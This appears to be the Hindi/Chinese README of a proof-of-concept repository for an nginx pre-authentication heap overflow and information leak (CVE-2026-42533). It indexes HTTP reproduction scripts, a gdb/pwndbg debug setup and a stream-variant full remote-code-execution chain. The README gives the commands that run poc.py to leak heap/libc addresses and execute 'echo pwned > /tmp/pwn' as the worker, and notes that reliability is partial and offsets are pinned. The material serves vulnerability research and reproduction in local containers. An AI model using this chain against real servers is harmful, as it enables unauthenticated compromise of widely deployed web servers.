
nginx हीप ओवरफ्लो और सूचना लीक (CVE-2026-42533) का प्रूफ-ऑफ-कॉन्सेप्ट पुनरुत्पादन, जिसमें दो आक्रमण सतहें, डीबग विश्लेषण और एक पूर्ण RCE श्रृंखला शामिल है।
nginx (0.9.6–1.30.3 / mainline ≤1.31.2) कॉम्प्लेक्स-वैल्यू स्क्रिप्टिंग इंजन में प्री-ऑथेंटिकेशन हीप ओवरफ्लो + सूचना रिसाव; CVSS 9.2। एक ही रूट कॉज़ के दो ट्रिगर सतहें हैं: HTTP (regex location + regex map) और stream (ssl_preread + SNI + regex map)।
गहन तकनीकी विश्लेषण और शुद्धिपत्र के लिए ANALYSIS.md देखें।
.
├── ANALYSIS.md # 深度分析(根因 / 两遍执行 / 动态证据 / RCE 链路 + 勘误)
├── README.md # 本文件(索引)
├── http/ # ① HTTP 变体黑盒复现(classmethod 触发面)
│ ├── nginx.conf # 漏洞配置(regex location + regex map)
│ ├── docker-compose.yml # nginx:1.30.3(vuln,:8081) vs 1.30.4(fixed,:8082)
│ ├── test.sh # clobber / overflow / leak 三方向测试
│ └── repro.py # PoC,自动提取泄漏的堆指针/残留数据
├── debug/ # ② HTTP 变体 debug 构建 + pwndbg/gdb 动态分析
│ ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│ ├── gdb.py # 两遍执行追踪 + LEN/VALUE 不一致告警(核心)
│ ├── attach.sh / extract-symbols.sh / trace_one.sh
│ ├── recon/ # 堆布局侦察脚本(recon.py / recon2/4/5.py)
│ └── README.md # 详见该目录
└── stream-rift/ # ③ stream 变体完整 RCE 链(已复现 echo pwned)
├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
├── poc.py # 完整链(泄漏→喷射→伪造 pool→system),技术来自公开披露
└── README.md # 归属声明 + 运行说明
debug/src、debug/symbols*、debug/logs*extract-symbols.shद्वारा उत्पन्न होते हैं (DWARF बाइनरी + सोर्स ट्री),.gitignoreमें हैं, और पुनर्निर्माण योग्य हैं।
cd http
docker compose up -d # 1.30.3(vuln) + 1.30.4(fixed)
./test.sh # 三方向对比
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082 # 解析泄漏
cd debug
docker compose build && docker compose up -d # debug 构建(--with-debug + DWARF)
./extract-symbols.sh # 拉二进制+源码到本机供 gdb
./attach.sh # gdbserver 附着 worker(:2333)
gdb -x gdb.py # pwndbg 加载;c 后从宿主发请求
विवरण के लिए debug/README.md देखें।
echo pwned > /tmp/pwn)cd stream-rift
docker compose build && docker compose up -d # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak # 泄漏 heap/libc/system
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn # → pwned(属主 nobody = worker)
तकनीक का श्रेय सार्वजनिक प्रकटीकरण DepthFirstDisclosures/Nginx-Rift को जाता है; विवरण के लिए stream-rift/README.md देखें।
| प्रभाव | HTTP वैरिएंट | stream वैरिएंट |
|---|---|---|
| सूचना रिसाव (heap/PIE + अवशेष डेटा) | ✅ स्थिर | ✅ स्थिर |
| DoS (worker abort) | ✅ स्थिर | ✅ स्थिर |
| मनमाना कोड निष्पादन | ❌ कोई सार्वजनिक PoC नहीं (स्वतंत्र इंजीनियरिंग) | ✅ पुनरुत्पादित (stream-rift/) |
stream की पूर्ण श्रृंखला आधुनिक glibc 2.35 पर कार्य करती है (किसी सॉफ्टनिंग की आवश्यकता नहीं): cleanup डिस्पैच ngx_destroy_pool के free() से पहले होता है, और system() abort से पहले निष्पादित हो जाता है। विश्वसनीयता "आंशिक" है (हीप फेंग-शुई; एकल प्रयास में लगभग 1–2 हिट, पुनः प्रयास की आवश्यकता); ऑफसेट इस बिल्ड पर पिन किए गए हैं।
Docker + Compose; स्थानीय gdb (+ pwndbg, अपनी पसंदीदा विधि से लोड करें); pip install requests (http/repro.py)।